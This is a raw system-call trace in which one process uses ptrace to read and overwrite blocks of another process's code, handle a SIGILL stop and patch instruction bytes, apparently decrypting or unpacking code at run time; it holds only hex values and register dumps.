ptrace(PTRACE_PEEKTEXT, 482327, 0x4021a7, [0x9d1b8f3624dfd44e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021a7, 0x2595a889e9ccd207) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021af, [0x27ba195499b7ed86]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021af, 0x9f343eeb54a4ebcf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021b7, [0xa479bfa3d79445e7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021b7, 0x1cf7981c1a8743ae) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021bf, [0x5a79c67923ce6207]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021bf, 0xe2f7e1c6eedd644e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021c7, [0x43a7da02eab650f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021c7, 0xfb29fdbd27a556b0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021cf, [0x479c6a4dce9a82bb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021cf, 0xff124df2038984f2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021d7, [0xf43c04ed0034b4f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021d7, 0x4cb22352cd27b2b9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021df, [0x4e37ab94ca451a24]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021df, 0xf6b98c2b07561c6d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021e7, [0x479c6a4dce9a82bb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021e7, 0xff124df2038984f2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ef, [0xf43c04ed0034b4f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ef, 0x4cb22352cd27b2b9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021f7, [0xd0c355476a82ae64]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021f7, 0x684d72f8a791a82d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ff, [0x86fa68291b26704d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ff, 0x3e744f96d6357604) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402207, [0x5ff45a252e3f9add]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402207, 0xe77a7d9ae32c9c94) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40220f, [0x52a3df0dea5761e3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40220f, 0xea2df8b2274467aa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402217, [0x5b416168f5ea481b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402217, 0xe3cf46d738f94e52) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40221f, [0xf5da0cd95e37e6a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40221f, 0x4d542b669324e0ea) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402227, [0xab1c9f61fc63ae0c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402227, 0x1392b8de3170a845) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40222f, [0xb1d6bf20852f68d8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40222f, 0x958989f483c6e91) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402237, [0x7c87ddbc84150875]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402237, 0xc409fa0349060e3c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40223f, [0x4012409504bd11de]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40223f, 0xf89c672ac9ae1797) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402247, [0x2283fe1c0de1c2ae]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402247, 0x9a0dd9a3c0f2c4e7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40224f, [0xc6fc07d1c451080d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40224f, 0x7e72206e09420e44) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402257, [0xa46b6c83ed598ea7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402257, 0x1ce54b3c204a88ee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40225f, [0xa2ceb8d181929954]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40225f, 0x1a409f6e4c819f1d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402267, [0xd4e0f6e600e1d2fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402267, 0x6c6ed159cdf2d4b3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40226f, [0x4485bb1b21ef3240]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40226f, 0xfc0b9ca4ecfc3409) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402277, [0x22cd788af55595c3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402277, 0x9a435f353846938a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40227f, [0xcc2f4affeff8bcb2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40227f, 0x74a16d4022ebbafb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402287, [0xc47db72a168de327]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402287, 0x7cf39095db9ee56e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40228f, [0xf5ffeff75661c39c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40228f, 0x4d71c8489b72c5d5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402297, [0xdabfb30da5af74c8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402297, 0x623194b268bc7281) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40229f, [0xd169774c2737c4fc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40229f, 0x69e750f3ea24c2b5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022a7, [0x57ee9bf1c4e37bf9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022a7, 0xef60bc4e09f07db0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022af, [0x7bf01c6b1959a1a7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022af, 0xc37e3bd4d44aa7ee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022b7, [0xf74e1bcd451316b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022b7, 0x4fc03c72880010fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022bf, [0xb1def1357394d0ed]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022bf, 0x950d68abe87d6a4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022c7, [0x6f6ca5dabb4045ff]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022c7, 0xd7e28265765343b6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022cf, [0x63588580315eea26]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022cf, 0xdbd6a23ffc4dec6f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022d7, [0xb430e85defa14fb2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022d7, 0xcbecfe222b249fb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022df, [0x2e5289cf53daaf28]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022df, 0x96dcae709ec9a961) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022e7, [0xa688068af7de5934]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022e7, 0x1e0621353acd5f7d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ef, [0xe3123ef6e7353394]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ef, 0x5b9c19492a2635dd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022f7, [0xb513a78495b60d20]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022f7, 0xd9d803b58a50b69) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ff, [0x951b4c5883373318]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ff, 0x2d956be74e243551) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402307, [0x3ddd97e914bd005e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402307, 0x8553b056d9ae0617) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40230f, [0x3829cf572926d40d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40230f, 0x80a7e8e8e435d244) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402317, [0x5c1a6e6d36d9d4e8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402317, 0xe49449d2fbcad2a1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40231f, [0x29cbb1f483d81cb6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40231f, 0x9145964b4ecb1aff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402327, [0xb25a0d20a4370dc0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402327, 0xad42a9f69240b89) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40232f, [0x665d788f1abcc6b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40232f, 0xded35f30d7afc0fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402337, [0x61a0b40b3b3bed1e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402337, 0xd92e93b4f628eb57) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40233f, [0xbdc4710a6e782dce]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40233f, 0x54a56b5a36b2b87) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402347, [0xb47ef245faa5d8fc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402347, 0xcf0d5fa37b6deb5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40234f, [0xb2f2435671f0af0a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40234f, 0xa7c64e9bce3a943) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402357, [0x4138ee2c66239032]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402357, 0xf9b6c993ab30967b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40235f, [0xbfe2dd86c05d8a4f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40235f, 0x76cfa390d4e8c06) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402367, [0xee4577f1b616d55e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402367, 0x56cb504e7b05d317) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40236f, [0xd0027146a3a4228d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40236f, 0x688c56f96eb724c4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402377, [0xa815697a49da7753]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402377, 0x109b4ec584c9711a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40237f, [0xb570579d8d12fd1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40237f, 0xb3d922c615c22998) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402387, [0xfdf48b76d70fd4ef]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402387, 0x457aacc91a1cd2a6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40238f, [0x554500b4741733af]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40238f, 0xedcb270bb90435e6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402397, [0xafdb430f33b3dbe8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402397, 0x175564b0fea0dda1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40239f, [0xd4d1cf26f5a53055]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40239f, 0x6c5fe89938b6361c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023a7, [0x6158d24f70af6cb3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023a7, 0xd9d6f5f0bdbc6afa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023af, [0xf8cf55143ac6051e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023af, 0x404172abf7d50357) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023b7, [0x72be8fd34666f567]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023b7, 0xca30a86c8b75f32e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023bf, [0x8bd10e6bc7ddfc2d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023bf, 0x335f29d40acefa64) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023c7, [0xc0080d89cc957f94]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023c7, 0x78862a36018679dd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023cf, [0x665d788f1abcc6b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023cf, 0xded35f30d7afc0fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023d7, [0xe35cc106358f7123]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023d7, 0x5bd2e6b9f89c776a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023df, [0x9d1b8f3624dfd44e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023df, 0x2595a889e9ccd207) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023e7, [0xf79264d7bb89dff3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023e7, 0x4f1c4368769ad9ba) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ef, [0x76f2bdedf55f4d8a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ef, 0xce7c9a52384c4bc3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023f7, [0x74194246b604653a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023f7, 0xcc9765f97b176373) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ff, [0x854690136ba077fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ff, 0x3dc8b7aca6b371b3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402407, [0x6310971a5fd527bd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402407, 0xdb9eb0a592c621f4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40240f, [0x1ffac2af3c61b56a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40240f, 0xa774e510f172b323) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402417, [0x6b6996af3ddb5c06]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402417, 0xd3e7b110f0c85a4f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40241f, [0x8732624123ef734d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40241f, 0x3fbc45feeefc7504) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402427, [0x3b29f26ed8d4b130]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402427, 0x83a7d5d115c7b779) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40242f, [0x5188ada972817737]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40242f, 0xe9068a16bf92717e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402437, [0x24d8ef5d9ab01bad]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402437, 0x9c56c8e257a31de4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40243f, [0x9141e872b7d99361]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40243f, 0x29cfcfcd7aca9528) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402447, [0xc42f9496c9081b88]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402447, 0x7ca1b329041b1dc1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40244f, [0x6faa40f098fbe94d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40244f, 0xd724674f55e8ef04) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402457, [0xcf9df3604f62125]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402457, 0xb477f889c9e5276c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40245f, [0x43d10587f895a9e8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40245f, 0xfb5f22383586afa1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402467, [0x6a62699201400b85]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402467, 0xd2ec4e2dcc530dcc) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40246f, [0xf71def8f303c4f91]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40246f, 0x4f93c830fd2f49d8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402477, [0x79aff66cb427a1c8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402477, 0xc121d1d37934a781) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40247f, [0x271443d154028df]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40247f, 0xbaff6382d8532e96) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402487, [0xe5894855fa1e0ff3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402487, 0x5d076fea370d09ba) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x448, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402047, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGILL, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGILL}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x428, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402051, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402053, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40205b, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402051, [0x6262616161610b0f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402051, 0x6262616161610b90) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402052, [0x626262616161610b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402052, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402053, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402053, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402054, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402054, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402055, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402055, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402056, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402056, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402057, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402057, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402058, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402058, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402059, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402059, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205a, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205a, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205b, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205b, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205c, [0x4a64646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205c, 0x4a64646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205d, [0xc44a646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205d, 0xc44a646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205e, [0xc1c44a6464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205e, 0xc1c44a6464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40205f, [0x13c1c44a64646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205f, 0x13c1c44a64646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402060, [0x313c1c44a646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402060, 0x313c1c44a646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402061, [0x70313c1c44a6464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402061, 0x70313c1c44a6490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402062, [0x7070313c1c44a64]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402062, 0x7070313c1c44a90) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402063, [0x3607070313c1c44a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402063, 0x3100000410c2c749) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40206b, [0x66666666038964c3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206b, 0x61616161008a67c0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402073, [0x6464646461616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402073, 0x6363636362626262) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40207b, [0x6e469db567676767]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207b, 0x69419ab264646464) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402083, [0xaa092bee04276464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402083, 0xad0e2ce907246767) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40208b, [0x7e5685d52d1cc9ea]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40208b, 0x795182d22e1fcae9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402093, [0x2def6e0feed75dbd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402093, 0x2ae86908edd45ebe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40209b, [0x907409574e0d27f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40209b, 0x97730e504d0e24f0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020a3, [0xfd9c9d3b5ce0be2d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020a3, 0xfa9b9a3c5fe3bd2e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ab, [0xa4689f60be5630e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ab, 0xd418ef108e6600d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020b3, [0x69404fca149a7426]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020b3, 0x6e4748cd17997725) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020bb, [0x4e850f7e49c45259]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020bb, 0x498208794ac7515a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020c3, [0xa7c8802e8904e20f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020c3, 0xa0cf87298a07e10c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020cb, [0x8db412b9a453e02f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020cb, 0x8ab315bea750e32c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020d3, [0x3e1ce2f7e009fc9e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020d3, 0x391be5f0e30aff9d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020db, [0x6e060dbeb4d30ece]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020db, 0x69010ab9b7d00dcd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020e3, [0x552eea60e52006e0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020e3, 0x5229ed67e62305e3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020eb, [0xed005edf40665870]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020eb, 0xea0759d843655b73) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020f3, [0xb2b5bd33a5ddfa27]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020f3, 0xb5b2ba34a6def924) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020fb, [0xa6d1762a420401]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020fb, 0x7a1d67129410702) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402103, [0x9fd6113f52cd916e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402103, 0x98d1163851ce926d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40210b, [0x92a36254c7d3e624]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40210b, 0x95a46553c4d0e527) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402113, [0xc6c6f729e789cba0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402113, 0xc1c1f02ee48ac8a3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40211b, [0x2952d13b9e1b875e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40211b, 0x2e55d63c9d18845d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402123, [0x78fc4544b3212a8c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402123, 0x7ffb4243b022298f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40212b, [0x500d25d1f54de01a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40212b, 0x570a22d6f64ee319) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402133, [0x490ea3ed376a4115]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402133, 0x4e09a4ea34694216) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40213b, [0x332b4faf38602fd9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40213b, 0x342c48a83b632cda) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402143, [0xa68f6e5cb3eac2a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402143, 0xa188695bb0e9c1a0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40214b, [0xdb3d2a0d0378b8ed]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40214b, 0xdc3a2d0a007bbbee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402153, [0x6683bdc91da49930]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402153, 0x6184bace1ea79a33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40215b, [0xa9bc196e8f2db64b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40215b, 0xaebb1e698c2eb548) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402163, [0x61418db0e860d20c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402163, 0x66468ab7eb63d10f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40216b, [0x7e7795c8acc29e96]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40216b, 0x797092cfafc19d95) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402173, [0xd150be72a927f100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402173, 0xd657b975aa24f203) = 0
